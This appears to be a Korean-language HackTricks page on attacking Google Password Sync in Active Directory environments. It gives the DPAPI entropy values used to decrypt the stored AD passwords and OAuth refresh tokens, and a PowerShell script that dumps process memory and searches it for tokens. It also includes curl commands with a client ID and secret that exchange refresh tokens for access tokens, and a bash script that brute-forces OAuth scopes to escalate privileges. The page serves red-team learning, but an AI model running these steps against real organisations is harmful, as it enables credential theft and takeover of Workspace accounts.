GPS - Google Password Sync
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
이것은 Google이 AD와 Workspace 간의 사용자 비밀번호를 동기화하기 위해 제공하는 바이너리 및 서비스입니다. 사용자가 AD에서 비밀번호를 변경할 때마다 Google에 설정됩니다.
C:\Program Files\Google\Password Sync
에 설치되며, 여기에서 구성할 수 있는 바이너리 PasswordSync.exe
와 계속 실행되는 서비스인 password_sync_service.exe
를 찾을 수 있습니다.
GPS - 구성
이 바이너리(및 서비스)를 구성하려면 Workspace에서 Super Admin 주체에 대한 액세스를 제공해야 합니다:
- Google을 통해 OAuth로 로그인한 후 레지스트리에 토큰을 저장합니다(암호화됨)
- GUI가 있는 도메인 컨트롤러에서만 사용 가능
- Workspace 사용자 관리 권한이 있는 GCP의 서비스 계정 자격 증명(json 파일) 제공
- 이러한 자격 증명은 만료되지 않으므로 악용될 수 있어 매우 나쁜 아이디어입니다
- SA가 GCP에서 손상될 수 있으므로 Workspace에 대한 SA 액세스를 제공하는 것은 매우 나쁜 아이디어입니다
- Google은 GUI가 없는 도메인 제어를 위해 이를 요구합니다
- 이러한 자격 증명도 레지스트리에 저장됩니다
AD와 관련하여 현재 응용 프로그램 컨텍스트, 익명 또는 특정 자격 증명을 사용하도록 지정할 수 있습니다. 자격 증명 옵션이 선택되면 사용자 이름은 디스크의 파일에 저장되고 비밀번호는 암호화되어 레지스트리에 저장됩니다.
GPS - 디스크에서 비밀번호 및 토큰 덤프하기
tip
Winpeas가 GPS를 감지하고 구성에 대한 정보를 얻으며 비밀번호와 토큰을 복호화할 수 있다는 점에 유의하세요.
C:\ProgramData\Google\Google Apps Password Sync\config.xml
파일에서 구성의 일부인 **baseDN
**과 사용 중인 자격 증명의 **username
**을 찾을 수 있습니다.
레지스트리 **HKLM\Software\Google\Google Apps Password Sync
**에서 암호화된 새로 고침 토큰과 AD 사용자(있는 경우)의 암호화된 비밀번호를 찾을 수 있습니다. 또한, 토큰 대신 SA 자격 증명이 사용되는 경우, 해당 레지스트리 주소에서 암호화된 자격 증명도 찾을 수 있습니다. 이 레지스트리 내의 값은 관리자만 액세스할 수 있습니다.
암호화된 비밀번호(있는 경우)는 ADPassword
키 안에 있으며 CryptProtectData
API를 사용하여 암호화됩니다. 이를 복호화하려면 비밀번호 동기화를 구성한 사용자와 동일해야 하며, **CryptUnprotectData
**를 사용할 때 이 엔트로피를 사용해야 합니다: byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };
암호화된 토큰(있는 경우)은 AuthToken
키 안에 있으며 CryptProtectData
API를 사용하여 암호화됩니다. 이를 복호화하려면 비밀번호 동기화를 구성한 사용자와 동일해야 하며, **CryptUnprotectData
**를 사용할 때 이 엔트로피를 사용해야 합니다: byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
또한, 0123456789abcdefghijklmnopqrstv
사전을 사용하여 base32hex로 인코딩됩니다.
엔트로피 값은 도구를 사용하여 발견되었습니다. 이 도구는 CryptUnprotectData
및 CryptProtectData
호출을 모니터링하도록 구성되었으며, 이후 PasswordSync.exe
를 실행하고 모니터링하는 데 사용되었습니다. 이 도구는 구성된 비밀번호와 인증 토큰을 처음에 복호화하고, 두 경우 모두에서 사용된 엔트로피 값을 표시합니다:

이 API 호출의 입력 또는 출력에서 복호화된 값을 볼 수 있는 것도 가능합니다(Winpeas가 작동을 멈춘 경우를 대비하여).
비밀번호 동기화가 SA 자격 증명으로 구성된 경우, 레지스트리 **HKLM\Software\Google\Google Apps Password Sync
**의 키 안에 저장됩니다.
GPS - 메모리에서 토큰 덤프하기
GCPW와 마찬가지로 PasswordSync.exe
및 password_sync_service.exe
프로세스의 메모리를 덤프할 수 있으며, 이미 생성된 경우 새로 고침 및 액세스 토큰을 찾을 수 있습니다.
AD에 구성된 자격 증명도 찾을 수 있을 것입니다.
덤프 PasswordSync.exe
및 password_sync_service.exe
프로세스 및 토큰 검색
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Show EULA if it wasn't accepted yet for strings
$stringsPath
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
GPS - 리프레시 토큰으로 액세스 토큰 생성하기
리프레시 토큰을 사용하여 다음 명령어에 지정된 클라이언트 ID와 클라이언트 비밀을 사용하여 액세스 토큰을 생성할 수 있습니다:
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
GPS - Scopes
note
리프레시 토큰이 있더라도, 액세스 토큰을 생성하는 애플리케이션에서 지원하는 범위만 요청할 수 있기 때문에 액세스 토큰에 대한 범위를 요청하는 것은 불가능합니다.
또한, 리프레시 토큰은 모든 애플리케이션에서 유효하지 않습니다.
기본적으로 GPS는 사용자가 모든 가능한 OAuth 범위에 접근할 수 없으므로, 다음 스크립트를 사용하여 refresh_token
으로 access_token
을 생성하는 데 사용할 수 있는 범위를 찾을 수 있습니다:
Bash script to brute-force scopes
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done
echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
그리고 이것은 내가 작성할 당시 받은 출력입니다:
https://www.googleapis.com/auth/admin.directory.user
어떤 범위를 지정하지 않으면 얻는 것과 동일합니다.
caution
이 범위에서는 기존 사용자의 비밀번호를 수정하여 권한을 상승시킬 수 있습니다.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.